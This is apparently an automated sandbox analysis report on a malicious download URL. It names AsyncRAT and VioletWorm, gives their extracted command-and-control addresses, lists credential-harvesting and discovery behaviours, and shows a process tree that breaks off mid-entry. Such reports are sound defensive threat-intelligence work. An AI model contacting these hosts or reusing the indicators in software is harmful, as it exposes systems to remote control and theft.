asyncrat | hxxps://gtm[.]aryzap[.]com/lx_zip[.]php?t=lx301644c365dc

Resubmissions

28/10/2026, 09:01

261028-ky2dsaa18s10

27/10/2026, 16:33

261027-t2q7naev9s10

27/10/2026, 16:27

261027-tyf8aaft3n10

Analysis

user interaction
yes
max time kernel
115s
max time network
119s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-de
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://gtm.aryzap.com/lx_zip.php?t=lx301644c365dc
Sample261027-tyf8aaft3n

Score

10^/10

default defense_evasion discovery execution asyncrat violetworm persistence ransomware rat spyware worm

Malware Config

Extracted

Family

asyncrat

Botnet

Default

212.227.235.53:3232

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

violetworm

Version

91.219.239.10:4452

Attributes

build_id
42d8f2ea28ebbbe5fbc4cef96e4a98262051bda7f4f433c4a3c020603f227385
splitter
<Violet>

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: VioletWorm
VioletWorm is a Windows worm written in C#.
worm violetworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/580-987-0x00000000154D0000-0x00000000154E6000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5844	powershell.exe
4996	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
1224	python.exe
2008	python.exe
4244	python.exe

Loads dropped DLL 18 IoCs

pid	Process
1224	python.exe
1224	python.exe
1224	python.exe
1224	python.exe
1224	python.exe
1224	python.exe
2008	python.exe
2008	python.exe
2008	python.exe
2008	python.exe
2008	python.exe
2008	python.exe
4244	python.exe
4244	python.exe
4244	python.exe
4244	python.exe
4244	python.exe
4244	python.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4996	tasklist.exe
3508	tasklist.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3712_583989633\manifest.json	msedge.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	explorer.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2848	cmd.exe
3440	cmd.exe
4308	cmd.exe
3572	cmd.exe
4780	cmd.exe

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3316	NETSTAT.EXE
4596	NETSTAT.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3228	msedge.exe
2196	msedge.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
2004	timeout.exe
5540	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4596	NETSTAT.EXE
3316	NETSTAT.EXE

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2304238888-3968896904-642854331-1000\{D1311FE1-6650-48BC-B6AC-FE4F48956453}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2304238888-3968896904-642854331-1000\{17B2CAA8-A90E-400E-ACE4-40E20A983B07}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000_Classes\Local Settings	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3712	msedge.exe
3712	msedge.exe
5844	powershell.exe
5844	powershell.exe
5844	powershell.exe
4996	powershell.exe
4996	powershell.exe
4996	powershell.exe
1224	python.exe
1224	python.exe
2008	python.exe
2008	python.exe
4244	python.exe
4244	python.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe
580	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	3508	tasklist.exe
Token: SeDebugPrivilege	4996	tasklist.exe
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	580	explorer.exe
Token: SeDebugPrivilege	580	explorer.exe
Token: SeDebugPrivilege	580	explorer.exe
Token: SeDebugPrivilege	4596	NETSTAT.EXE
Token: SeDebugPrivilege	3316	NETSTAT.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
1756	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe
3712	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3868	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 2516	1756	msedge.exe	89
PID 1756 wrote to memory of 2112	1756	msedge.exe	90
PID 1756 wrote to memory of 3228	1756	msedge.exe	91
PID 1756 wrote to memory of 2112	1756	msedge.exe	90
PID 1756 wrote to memory of 2112	1756	msedge.exe	90
PID 1756 wrote to memory of 3636	1756	msedge.exe	92
PID 1756 wrote to memory of 3636	1756	msedge.exe	92
PID 1756 wrote to memory of 2200	1756	msedge.exe	94
PID 1756 wrote to memory of 4736	1756	msedge.exe	93
PID 1756 wrote to memory of 2200	1756	msedge.exe	94
PID 1756 wrote to memory of 2200	1756	msedge.exe	94
PID 1756 wrote to memory of 4736	1756	msedge.exe	93
PID 1756 wrote to memory of 4736	1756	msedge.exe	93
PID 1756 wrote to memory of 4956	1756	msedge.exe	96
PID 1756 wrote to memory of 4956	1756	msedge.exe	96
PID 1756 wrote to memory of 4956	1756	msedge.exe	96
PID 1756 wrote to memory of 2844	1756	msedge.exe	97
PID 1756 wrote to memory of 2844	1756	msedge.exe	97
PID 1756 wrote to memory of 2844	1756	msedge.exe	97
PID 1756 wrote to memory of 3344	1756	msedge.exe	99
PID 1756 wrote to memory of 3344	1756	msedge.exe	99
PID 1756 wrote to memory of 2544	1756	msedge.exe	100
PID 1756 wrote to memory of 2544	1756	msedge.exe	100
PID 1756 wrote to memory of 5000	1756	msedge.exe	102
PID 1756 wrote to memory of 5404	1756	msedge.exe	105
PID 1756 wrote to memory of 5516	1756	msedge.exe	106
PID 1756 wrote to memory of 5404	1756	msedge.exe	105
PID 1756 wrote to memory of 5404	1756	msedge.exe	105
PID 1756 wrote to memory of 5516	1756	msedge.exe	106
PID 1756 wrote to memory of 3528	1756	msedge.exe	107
PID 1756 wrote to memory of 3712	1756	msedge.exe	108
PID 3712 wrote to memory of 3640	3712	msedge.exe	109
PID 3712 wrote to memory of 4220	3712	msedge.exe	111
PID 3712 wrote to memory of 2196	3712	msedge.exe	112
PID 3712 wrote to memory of 4220	3712	msedge.exe	111
PID 3712 wrote to memory of 4220	3712	msedge.exe	111
PID 3712 wrote to memory of 1888	3712	msedge.exe	113
PID 3712 wrote to memory of 1888	3712	msedge.exe	113
PID 3712 wrote to memory of 6064	3712	msedge.exe	115
PID 3712 wrote to memory of 5160	3712	msedge.exe	116
PID 3712 wrote to memory of 5160	3712	msedge.exe	116
PID 3712 wrote to memory of 5512	3712	msedge.exe	117
PID 3712 wrote to memory of 5512	3712	msedge.exe	117
PID 3712 wrote to memory of 1460	3712	msedge.exe	118
PID 3712 wrote to memory of 1460	3712	msedge.exe	118
PID 3712 wrote to memory of 576	3712	msedge.exe	119
PID 3712 wrote to memory of 576	3712	msedge.exe	119
PID 3712 wrote to memory of 4460	3712	msedge.exe	120
PID 3712 wrote to memory of 4460	3712	msedge.exe	120
PID 3712 wrote to memory of 4472	3712	msedge.exe	121
PID 3712 wrote to memory of 4472	3712	msedge.exe	121
PID 3712 wrote to memory of 2768	3712	msedge.exe	122
PID 3712 wrote to memory of 2768	3712	msedge.exe	122
PID 3712 wrote to memory of 4780	3712	msedge.exe	130
PID 3712 wrote to memory of 3328	3712	msedge.exe	131
PID 3712 wrote to memory of 5252	3712	msedge.exe	132
PID 4780 wrote to memory of 2408	4780	cmd.exe	139
PID 4780 wrote to memory of 4212	4780	cmd.exe	140
PID 4780 wrote to memory of 2848	4780	cmd.exe	141
PID 2848 wrote to memory of 5844	2848	cmd.exe	143
PID 5844 wrote to memory of 3440	5844	powershell.exe	144
PID 3440 wrote to memory of 1276	3440	cmd.exe	146
PID 3440 wrote to memory of 4308	3440	cmd.exe	147
PID 3440 wrote to memory of 3300	3440	cmd.exe	148

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 12 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	93	curl/8.8.0
HTTP User-Agent header	94	curl/8.8.0
HTTP User-Agent header	106	curl/8.8.0
HTTP User-Agent header	111	curl/8.8.0
HTTP User-Agent header	112	curl/8.8.0
HTTP User-Agent header	126	curl/8.8.0
HTTP User-Agent header	104	curl/8.8.0
HTTP User-Agent header	115	curl/8.8.0
HTTP User-Agent header	117	curl/8.8.0
HTTP User-Agent header	119	curl/8.8.0
HTTP User-Agent header	122	curl/8.8.0
HTTP User-Agent header	123	curl/8.8.0

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Enumerates video capture drivers
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gtm.aryzap.com/lx_zip.php?t=lx301644c365dc
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x25c,0x7ffb9410c188,0x7ffb9410c194,0x7ffb9410c1a0
    3⤵
    PID:2516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1540,i,14138015946177721072,6685596562035946421,262144 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:2
    3⤵
    PID:2112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=de --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1736,i,16019482540808795798,6754676076062905522,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=3108 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2264,i,5548119965290977888,14953847177108886501,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=3156 /prefetch:13
    3⤵
    PID:3636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3452,i,3912865745001479178,15636813368866744343,2097152 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
    3⤵
    PID:4736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,17768844764178233594,9290315280012485044,2097152 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
    3⤵
    PID:2200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4324,i,7323746278848120115,5937048052807977069,2097152 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:1
    3⤵
    PID:4956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4332,i,7728735337478266062,1623998864698804082,2097152 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:9
    3⤵
    PID:2844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=de --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,17978109986740198283,7917908440424824955,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
    3⤵
    PID:3344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=de --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,149586376628198040,1249448623571357175,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
    3⤵
    PID:2544
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,4064683559902323754,8391447416000761484,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
    3⤵
    PID:5556
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,4064683559902323754,8391447416000761484,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
    3⤵
    PID:5000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6548,i,9391462436132279512,16817213821424648276,2097152 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:1
    3⤵
    PID:5404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=de --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6404,i,13098273180631193166,7700760538510767741,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:14
    3⤵
    PID:5516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6800,i,7576807407382422965,11036312886146636187,524288 --field-trial-handle=2908,i,15227420267290597337,10838159627866282602,262144 --variations-seed-version --mojo-platform-channel-handle=7024 /prefetch:14
    3⤵
    PID:3528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x28c,0x7ffb9410c188,0x7ffb9410c194,0x7ffb9410c1a0
      4⤵
      PID:3640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1956,i,9661295667605928579,10707554877009581015,262144 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=2744 /prefetch:2
      4⤵
      PID:4220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=de --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2076,i,12120819172346454242,8417987355300948257,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:11
      4⤵
      System Time Discovery
      PID:2196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=de --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2464,i,11588405982748296019,5986901718165676808,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:13
      4⤵
      PID:1888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4316,i,12846647671762953693,15111260249404344350,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:14
      4⤵
      PID:1288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4316,i,12846647671762953693,15111260249404344350,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:14
      4⤵
      PID:6064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=de --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4416,i,9311503545885926080,18097137306722954136,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:14
      4⤵
      PID:5160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4976,i,7096359723968014029,14056236251682215160,524288 --field-trial-handle=2788,i,5449084705763391101,11274453746594066789,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:14
      4⤵
      PID:5512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
